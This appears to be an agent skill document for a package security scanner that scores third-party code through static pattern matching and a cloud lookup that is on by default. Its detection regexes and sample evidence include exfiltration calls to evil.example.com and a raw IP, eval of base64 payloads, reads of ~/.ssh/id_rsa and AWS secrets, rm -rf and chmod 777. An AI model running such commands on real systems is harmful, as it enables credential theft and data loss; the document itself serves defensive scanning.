my-test-skill

Intelligent code security scanner with hybrid local-cloud detection. Fingerprints packages, runs static behavioral analysis, and consults cloud threat intell...

yidun-skill-sec ⚡

Hybrid local-cloud security scanner for third-party code packages. Scans fast, scores precisely, fails safely.

Security Disclosure

This skill uploads non-sensitive metadata (file hashes, behavior tag names, and extracted code snippets that triggered detections) to a Yidun threat intelligence endpoint for analysis. The following data is explicitly not uploaded: full source code, user credentials, environment variables, or any personal data.

The cloud endpoint (as.dun.163.com) is operated by NetEase Yidun, a licensed cybersecurity service provider. Cloud analysis is enabled by default and strongly recommended. It can be explicitly disabled by the user if network access is restricted or not desired.

What It Does

YidunClawSec fingerprints a code package, runs behavioral analysis locally, and consults cloud threat intelligence to produce a quantified safety score. It catches malware, data leaks, privilege abuse, and obfuscation — before anything gets installed.

How It Works — Four Phases

┌──────────────┐     ┌──────────────┐     ┌──────────────────┐     ┌────────────────┐
│   SOURCE     │────▶│  FINGERPRINT │────▶│  BEHAVIORAL SCAN │────▶│  CLOUD INTEL   │
│  VETTING     │     │  hash + meta │     │  static analysis │     │  (default: on) │
└──────────────┘     └──────────────┘     └──────────────────┘     └────────────────┘
        │                    │                     │                        │
        └────────────────────┴─────────────────────┴────────────────────────┘
                                                   ▼
                                         ┌───────────────────┐
                                         │  THREAT VERDICT   │
                                         │  score + labels   │
                                         └───────────────────┘

---

Phase 0: Source Vetting

Before downloading or scanning any code, YidunClawSec evaluates where the package comes from. A package from an untrusted or unknown source carries inherent risk regardless of its content.

0.1 Source Tags

Tag	What It Catches	Severity Boost
SRC_UNKNOWN_REGISTRY	Package originates from an unrecognized or unofficial registry	+20
SRC_BLACKLISTED_DOMAIN	Install URL or declared homepage matches a known malicious domain/IP	+40
SRC_UNTRUSTED_AUTHOR	Publisher account is new (<30 days), unverified, or has prior malicious packages	+15

Hard Rule: Any SRC_BLACKLISTED_DOMAIN hit forces the verdict to CRITICAL immediately — scanning halts and the package is blocked without further analysis.

0.2 Registry Allowlist

The following registries are considered trusted by default:

Registry	Protocol
ClawHub (clawhub.com)	HTTPS + signed manifest
npm (registry.npmjs.org)	HTTPS
PyPI (pypi.org)	HTTPS
GitHub Releases (github.com/*/releases)	HTTPS
Custom allowlist via YIDUN_SKILL_SEC_TRUSTED_REGISTRIES	Configurable (registry only)

Packages installed directly from a raw URL, a private server, or an unknown host are tagged SRC_UNKNOWN_REGISTRY unless the host is on the allowlist.

0.3 Author / Publisher Trust

For supported registries (npm, PyPI, ClawHub), the scanner checks the publishing account's trust profile:

Signal	Penalizes When
Account age	< 30 days old
Verification status	Unverified / no 2FA
Prior packages	Any previously removed for malware
Ownership match	Author field in package metadata ≠ registry profile name

# Source vetting output example
SOURCE VETTING
  Registry: clawhub.com → ✅ trusted
  Domain:   clawhub.com → ✅ not blacklisted
  Author:   some-author (verified, age: 2y 3m) → ✅ trusted
  Source score: 100/100  Tags: none

0.4 Source Metadata in Cloud Request

Source vetting results are included in the cloud request as source_meta:

"source_meta": {
  "registry": "clawhub.com",
  "install_url": "https://clawhub.com/packages/data-processor-1.2.3.tar.gz",
  "author_verified": true,
  "author_account_age_days": 823,
  "prior_removals": 0,
  "tags": []
}

---

Phase 1: Fingerprint

Before anything else, build a complete inventory of the package.

Actions performed:

1. List every file in the package
2. Compute MD5 hash per file via openssl dgst -md5
3. Derive a composite package fingerprint (sorted hash of all file hashes)
4. Extract metadata: name, version, author, declared dependencies

Output: A fingerprint manifest used for cache lookups and audit trail.

# Example: compute file hashes
find /tmp/pkg -type f -exec openssl dgst -md5 {} \;

# Example: composite fingerprint
find /tmp/pkg -type f -exec openssl dgst -md5 {} \; | sort | openssl dgst -md5

---

Phase 2: Behavioral Scan

A static analysis pass that classifies every file by its observable behaviors. No code is executed — only pattern matching and structural inspection.

2.1 Behavior Categories

Each detected behavior is tagged into one of these categories:

Tag	What It Catches	Severity Boost
NET_OUTBOUND	HTTP/HTTPS calls, socket connections, DNS lookups	+15
NET_IP_RAW	Connections to raw IPs instead of hostnames	+25
FS_READ_SENSITIVE	Reads from ~/.ssh, ~/.gnupg, ~/.aws, ~/.config/gh	+30
FS_WRITE_SYSTEM	Writes outside the project workspace	+20
EXEC_DYNAMIC	eval(), exec(), Function(), backtick interpolation	+25
EXEC_SHELL	Spawns shell subprocesses	+10
ENCODE_DECODE	Base64/hex encode-decode chains (potential obfuscation)	+20
CRED_HARVEST	Reads tokens, passwords, API keys from env or files	+35
PRIV_ESCALATION	sudo, chmod 777, setuid patterns	+30
OBFUSCATED	Minified/packed code, non-readable variable names	+15
AGENT_MEMORY	Accesses agent memory files (identity, preferences, context)	+25
PKG_INSTALL	Installs unlisted system packages or dependencies	+20
COOKIE_SESSION	Reads browser cookies, localStorage, session tokens	+25
BYPASS_SAFETY	Uses flags that skip security checks: --no-verify, --force, --allow-root, --skip-ssl	+20
DESTRUCTIVE_OP	Irreversible destructive operations: rm -rf, git reset --hard, DROP TABLE, mkfs, dd if=	+25
PROMPT_INJECT	Embeds natural language directives targeting the AI agent, attempting to override its rules, bypass constraints, or assume an unrestricted persona	+35

2.2 How Severity Scores Work

• Start at 100 (fully safe)
• Each behavior tag subtracts its severity boost from the score
• Multiple tags stack, but the score floors at 0
• A single CRED_HARVEST or PRIV_ESCALATION tag triggers an immediate escalation — the package is flagged regardless of total score

2.3 Pattern Matching Rules

The scanner matches against concrete code patterns:

NET_OUTBOUND:
  curl|wget|fetch|http\.get|requests\.(get|post)|axios|urllib
  + destination is NOT localhost/127.0.0.1/::1

NET_IP_RAW:
  \b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b in URL/connection context

FS_READ_SENSITIVE:
  cat|read|open.*\.(ssh|gnupg|aws|config/gh|kube)

EXEC_DYNAMIC:
  eval\s*\(|exec\s*\(|new\s+Function\s*\(|`.*\$\(

ENCODE_DECODE:
  base64\s+(encode|decode|-d)|atob\(|btoa\(|Buffer\.from\(.*base64

CRED_HARVEST:
  (API_KEY|SECRET|TOKEN|PASSWORD|PRIVATE_KEY).*=|
  cat.*id_rsa|cat.*\.env|keyring\.get

PRIV_ESCALATION:
  sudo\s|chmod\s+[0-7]*7|chown\s+root|setuid

AGENT_MEMORY:
  MEMORY\.md|USER\.md|SOUL\.md|IDENTITY\.md|\.claude|\.claw/memory

OBFUSCATED:
  single-line file >500 chars with no whitespace|
  variable names all <3 chars in >20 occurrences

BYPASS_SAFETY:
  --no-verify|--force|--allow-root|--skip-ssl|--insecure|--no-check-certificate|
  GIT_SSL_NO_VERIFY|NODE_TLS_REJECT_UNAUTHORIZED=0

DESTRUCTIVE_OP:
  rm\s+-rf|shutil\.rmtree|git\s+reset\s+--hard|git\s+clean\s+-fd|
  DROP\s+TABLE|DROP\s+DATABASE|mkfs\.|dd\s+if=|truncate\s+--size=0

PROMPT_INJECT:
  Patterns that attempt to override agent instructions or assume unrestricted personas.
  Exact regex strings are maintained server-side to prevent the pattern list itself
  from being flagged as an injection vector. The local scanner checks for structural
  indicators (e.g. imperative overrides targeting "instructions", "rules", "constraints",
  jailbreak persona triggers, and SYSTEM-level injection markers in non-system contexts).

---

Phase 3: Cloud Intelligence

When cloud is enabled (default), yidun-skill-sec consults the remote threat intelligence service. If the user has set YIDUN_SKILL_SEC_CLOUD=false, this phase is skipped entirely and scoring uses offline weights. If the cloud call times out (10s), the scanner automatically downgrades to local-only mode and notifies the user.

3.1 What Gets Sent

The fingerprint manifest, behavior tags, and extracted evidence artifacts are uploaded. Evidence includes the specific URLs, shell commands, and credential access paths that triggered each tag — enabling the cloud to perform real content-level threat analysis.

Evidence redaction rules — before upload, the scanner applies the following sanitization:

• Environment variable values are replaced with [REDACTED] (only the variable name is sent)
• File content from sensitive paths (~/.ssh, ~/.aws, ~/.env) is never included — only the path and access pattern are sent
• The context field is truncated to the single matched line; multi-line context is not collected
• Full source code is NOT sent — only the lines that triggered a detection tag

These rules ensure that no secrets, credentials, or private data leave the local machine.

POST https://as.dun.163.com/v1/agent-sec/skill/check

{
  "request_id": "f47ac10b-58cc-4372-a567-0e02b2c3d479",
  "skill": {
    "name": "target-package",
    "version": "1.2.3",
    "source": "clawhub",
    "author": "some-author"
  },
  "files": [
    {"path": "main.py", "md5": "a1b2c3...", "size": 4096},
    {"path": "config.yml", "md5": "d4e5f6...", "size": 256}
  ],
  "skill_md5": "composite_fingerprint_abc",
  "local_result": {
    "red_flags": ["NET_OUTBOUND", "ENCODE_DECODE"],
    "risk_level": "medium"
  },
  "evidence": {
    "urls": [
      {
        "tag": "NET_OUTBOUND",
        "value": "https://evil.example.com/exfil",
        "file": "fetch.py",
        "line": 12,
        "context": "requests.post('https://evil.example.com/exfil', data=payload)"
      },
      {
        "tag": "NET_IP_RAW",
        "value": "http://45.33.32.156/cmd",
        "file": "init.py",
        "line": 7,
        "context": "urllib.request.urlopen('http://45.33.32.156/cmd')"
      }
    ],
    "commands": [
      {
        "tag": "EXEC_SHELL",
        "value": "rm -rf /tmp/traces",
        "file": "setup.sh",
        "line": 23,
        "context": "subprocess.run(['rm', '-rf', '/tmp/traces'], shell=True)"
      },
      {
        "tag": "EXEC_DYNAMIC",
        "value": "eval(base64.b64decode(payload))",
        "file": "loader.py",
        "line": 5,
        "context": "eval(base64.b64decode(payload).decode())"
      },
      {
        "tag": "PRIV_ESCALATION",
        "value": "chmod 777 /usr/local/bin/hook",
        "file": "install.sh",
        "line": 11,
        "context": "os.system('chmod 777 /usr/local/bin/hook')"
      }
    ],
    "credential_accesses": [
      {
        "tag": "CRED_HARVEST",
        "value": "os.environ.get('AWS_SECRET_ACCESS_KEY')",
        "file": "config.py",
        "line": 3,
        "context": "secret = os.environ.get('AWS_SECRET_ACCESS_KEY')"
      },
      {
        "tag": "FS_READ_SENSITIVE",
        "value": "~/.ssh/id_rsa",
        "file": "auth.py",
        "line": 18,
        "context": "open(os.path.expanduser('~/.ssh/id_rsa')).read()"
      }
    ],
    "obfuscation_samples": [
      {
        "tag": "ENCODE_DECODE",
        "value": "base64.b64decode('aGVsbG8=')",
        "file": "payload.py",
        "line": 9,
        "context": "exec(base64.b64decode('aGVsbG8=').decode())"
      }
    ]
  }
}

Evidence Field Specification

Field	Type	Description
evidence.urls	array	Full URLs that triggered NET_OUTBOUND / NET_IP_RAW tags
evidence.commands	array	Command snippets that triggered EXEC_SHELL / EXEC_DYNAMIC / PRIV_ESCALATION tags
evidence.credential_accesses	array	Credential access expressions or paths that triggered CRED_HARVEST / FS_READ_SENSITIVE tags
evidence.obfuscation_samples	array	Encoding call snippets that triggered ENCODE_DECODE / OBFUSCATED tags

Each evidence record has the following structure:

Sub-field	Description
tag	The behavior tag that was triggered
value	Raw extracted value (URL / command / path)
file	Source file path where the pattern was found
line	Line number of the match
context	Full content of the matched line (single line only, no surrounding context)

3.2 What Happens Server-Side

Request received
  │
  ├─ Lookup fingerprint in threat database
  │   ├── Known malicious  → immediate BLOCK
  │   ├── Known safe       → immediate PASS
  │   └── Unknown          → run deep analysis via content safety API
  │                            ├── analyze code snippets (sanitized)
  │                            ├── check against threat patterns
  │                            └── cache result with TTL
  │
  └─ Return verdict + confidence score

3.3 Response Format

{
  "request_id": "f47ac10b-58cc-4372-a567-0e02b2c3d479",
  "cache_hit": false,
  "confidence_score": 45,
  "labels": ["NET_OUTBOUND", "ENCODE_DECODE"],
  "verdict": "REVIEW",
  "recommendation": "Suspicious encoding patterns detected near network calls",
  "deductions": [
    {
      "tag": "NET_OUTBOUND",
      "reason": "Detected outbound HTTP call to unknown external host",
      "evidence": "https://evil.example.com/exfil",
      "score_impact": -15,
      "severity": "medium"
    },
    {
      "tag": "ENCODE_DECODE",
      "reason": "Base64 decode result passed directly into eval — likely obfuscated payload",
      "evidence": "exec(base64.b64decode('aGVsbG8=').decode())",
      "score_impact": -20,
      "severity": "high"
    },
    {
      "tag": "NET_IP_RAW",
      "reason": "Connection to raw IP address bypasses DNS — common in C2 communication",
      "evidence": "http://45.33.32.156/cmd",
      "score_impact": -25,
      "severity": "high"
    }
  ]
}

Field	Type	Meaning
request_id	string	UUID v4 echoed from the request — use for tracing and audit logs
cache_hit	bool	Was the fingerprint already in the database?
confidence_score	int	0–100, higher means safer
labels	string[]	Detected threat categories
verdict	enum	PASS / REVIEW / BLOCK
recommendation	string	Human-readable summary of the verdict
deductions	array	Per-tag score deduction breakdown from cloud analysis

request_id generation: Client must generate a UUID v4 before each request and include it in the body. The server echoes the same value in the response for end-to-end tracing.

# Generate UUID v4 on the fly (macOS / Linux)
REQUEST_ID=$(uuidgen | tr '[:upper:]' '[:lower:]')

deductions item fields:

Sub-field	Type	Meaning
tag	string	Behavior tag that triggered this deduction
reason	string	Cloud analysis explanation for why this tag was penalized
evidence	string	The specific URL / command / snippet that was matched
score_impact	int	Points deducted from confidence_score for this tag
severity	enum	low / medium / high / critical

3.4 Timeout Fallback

When cloud is enabled but the network call fails:

1. curl times out after 10 seconds
2. Scanner falls back to local-only mode automatically
3. All scores shift -10 points (conservative bias)
4. Report shows Mode: local-only (cloud timeout)
5. Any score below 60 requires user confirmation before install

---

Producing the Verdict

The final threat score combines local scan + cloud intel (when available):

Score Composition

Signal	Normal Weight	Offline Weight
Source vetting score	15%	20%
Behavioral scan score	40%	55%
Cloud confidence score	30%	—
Privilege surface area	15%	25%

Threat Levels

Score	Level	Action
80–100	🟢 CLEAR	Install normally
60–79	🟢 MINOR	Install with awareness
40–59	🟡 ELEVATED	User review before install
20–39	🔴 SEVERE	Requires explicit user consent
0–19	⛔ CRITICAL	Blocked — do not install

Hard rules (override score):

• Any CRED_HARVEST tag → floor to SEVERE
• Any PRIV_ESCALATION tag → floor to SEVERE
• Both present → force CRITICAL

---

Report Output

⚡ YIDUN-SKILL-SEC Scan Report

[name] · v[version] · [source] · by [author] · [timestamp]

Phase 0 · Source Vetting

	Result
Registry	[name] → ✅ trusted / ⚠️ unknown / N/A
Domain	[host] → ✅ clean / ❌ blacklisted
Author	[name] → ✅ verified / ⚠️ unverified
Source Score	[xx]/100 · Tags: [tags or none]

Phase 1 · Fingerprint

[N] files · MD5 [hash...] · [file1] [file2] ...

Phase 2 · Behavioral Scan

Tag	Location	Deduction
[TAG_1]	[file:line]	-[N]
[TAG_2]	[file:line]	-[N]

Local score [xx]/100 · If no findings: ✅ No suspicious behaviors detected

Phase 3 · Cloud Intel

	Result
Mode	[cloud / local-only / mock]
Cache	[hit safe / hit threat / miss]
Cloud Score	[xx]/100 · Labels: [list or none]

Privilege Surface · Network: [domains] · FS: [paths] · Shell: [cmds] · Creds: [yes/no]

---

🎯 Score: [xx]/100 · [🟢 CLEAR / 🟢 MINOR / 🟡 ELEVATED / 🔴 SEVERE / ⛔ CRITICAL]

[✅ Allow / ⚠️ Requires confirmation / ❌ Blocked]

⚠️ [hard rule trigger or key observation, omit if none]

---

Usage Example

User: "Install data-processor from ClawHub"

Agent workflow:

0. Source vetting
   → Registry: clawhub.com ✅  Domain: clean ✅  Author: verified ✅
   → Source score: 100/100

1. Download to temp directory
   $ mkdir -p /tmp/yds-scan && clawhub install data-processor --dir /tmp/yds-scan

2. Fingerprint
   $ find /tmp/yds-scan -type f -exec openssl dgst -md5 {} \;
   → 4 files, composite: 7f3a...

3. Behavioral scan
   → NET_OUTBOUND detected in fetch.py:12 (api.dataproc.io)
   → FS_WRITE_SYSTEM detected in setup.sh:8 (/usr/local/bin)
   → Local score: 55/100

4. Cloud intel query
   → Cache miss → deep analysis → confidence 48/100
   → Labels: [NET_OUTBOUND, FS_WRITE_SYSTEM]

5. Final score: 15% × 100 + 40% × 55 + 30% × 48 + 15% × 40 = 15 + 22 + 14.4 + 6 = 57
   → Level: ELEVATED
   → Verdict: ⚠️ Review — network calls + system writes need justification

---

More Scenarios

Clean Package

Package: markdown-helper v2.1.0
Behaviors: none detected
Cloud: cache hit (safe), score 92
Final: 🟢 CLEAR (94) → ✅ Allow

Obfuscation + Credential Access

Package: perf-booster v1.0.0
Behaviors: OBFUSCATED, CRED_HARVEST, NET_OUTBOUND
Cloud: cache hit (threat), score 5
Hard rule: CRED_HARVEST → floor SEVERE
Final: ⛔ CRITICAL (8) → ❌ Block

Offline Scan

Package: log-rotator v3.0.0
Behaviors: FS_WRITE_SYSTEM, EXEC_SHELL
Cloud: unavailable → local-only mode (-10 penalty)
Local score: 60 - 10 = 50
Final: 🟡 ELEVATED (50) → ⚠️ Review

---

Cloud Call Policy

Cloud intelligence is enabled by default. The user can explicitly disable it by setting:

export YIDUN_SKILL_SEC_CLOUD=false

When disabled, the scanner runs in local-only mode with adjusted score weights and notifies the user that cloud verification was skipped.

Mode	Trigger	Behavior
Cloud ON	Default / YIDUN_SKILL_SEC_CLOUD=true	Full 4-phase scan, domain blacklist checked server-side
Cloud OFF	YIDUN_SKILL_SEC_CLOUD=false	Local-only scan, domain blacklist skipped, score weights adjusted
Timeout fallback	Cloud ON but curl times out (10s)	Automatic downgrade to local-only, -10 score penalty, user notified

Rules that always apply regardless of mode:

• ❌ Do NOT self-judge that cloud is "unnecessary" and skip it without the user setting YIDUN_SKILL_SEC_CLOUD=false
• ❌ Do NOT silently fall back to local-only on timeout without notifying the user
• ❌ Do NOT treat any skill type as exempt from cloud verification when cloud is enabled

---

Requirements

Tool	Purpose
curl	Cloud API communication
jq	Parse JSON responses
openssl	File hash computation

---

Scan first, install later. ⚡

Author: Yidun Security Team License: MIT